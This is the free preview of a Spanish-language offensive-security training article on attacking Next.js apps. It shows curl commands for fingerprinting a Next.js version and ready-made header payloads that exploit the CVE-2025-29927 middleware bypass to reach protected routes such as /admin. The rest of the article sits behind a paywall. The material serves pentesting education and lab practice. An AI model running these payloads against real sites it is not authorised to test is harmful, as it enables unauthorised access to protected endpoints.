Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse

Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.

Gorka El Bochi11 de mayo de 202615 min

Respuesta rápida

Next.js es el framework dominante en SaaS modernos y arrastra una superficie de ataque única: middleware como única capa de auth, image optimization como SSRF gadget, Server Actions con Host header injection, y RSC payloads que leakean data server-side al cliente. CVE-2025-29927 (middleware bypass via x-middleware-subrequest) sigue vivo en ~35% de apps Next 14. Si fingerprint detecta Next, atacas en este orden: middleware bypass → image SSRF → server actions → RSC inspection.


1. Fingerprint rápido de Next.js

Antes de tirar payloads, confirma versión. La superficie cambia drásticamente entre Next 12 (sin App Router), Next 13-14 (App Router + Server Actions) y Next 15+.

bash
# Build ID + buildManifest
curl -s https://target.com/_next/static/buildManifest.js | head

# Headers indicativos
curl -sI https://target.com | grep -iE "x-powered-by|x-nextjs|x-middleware"

# RSC endpoints (App Router only)
curl -s https://target.com/some-path -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%7D%5D"
VersiónFeatures añadidasVector clave
≤ 12.1Pages RouterImage SSRF (legacy domains)
12.2 - 15.2.2MiddlewareCVE-2025-29927 bypass
13+App Router + RSCRSC data exfil + Server Actions
14+Server Actions establesHost header injection (CVE-2024-34351)
≥ 15.2.3PatchedAtacar otras superficies

2. CVE-2025-29927 — middleware bypass

Next.js usa middleware para auth, redirects, rate limiting y headers de seguridad. El middleware corre antes de las rutas. Si el atacante puede saltárselo, el endpoint protegido queda accesible directo.

El bug

El header x-middleware-subrequest se usa internamente entre el runtime de Next y el handler de la ruta para evitar bucles cuando middleware llama a su propia app. Si el atacante setea ese header en una request entrante, Next asume que ya pasó por middleware y lo skipea.

Payloads

bash
# Versión sin src/
curl -H "x-middleware-subrequest: middleware" https://target.com/admin

# Versión con src/middleware.ts
curl -H "x-middleware-subrequest: src/middleware" https://target.com/admin

# Defensa con counter de profundidad — repetir N veces
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  https://target.com/admin

# Pages router legacy
curl -H "x-middleware-subrequest: pages/_middleware" https://target.com/admin

[!danger] Sigue vivo en 2026 Aunque Next ≥ 15.2.3 está parcheado, el 35%+ de apps Next 14 productivas en 2026 no han actualizado. Una pasada con esos 4 valores en cada ruta protegida es 30 segundos por target.


Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Nextjs Attack Surface

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados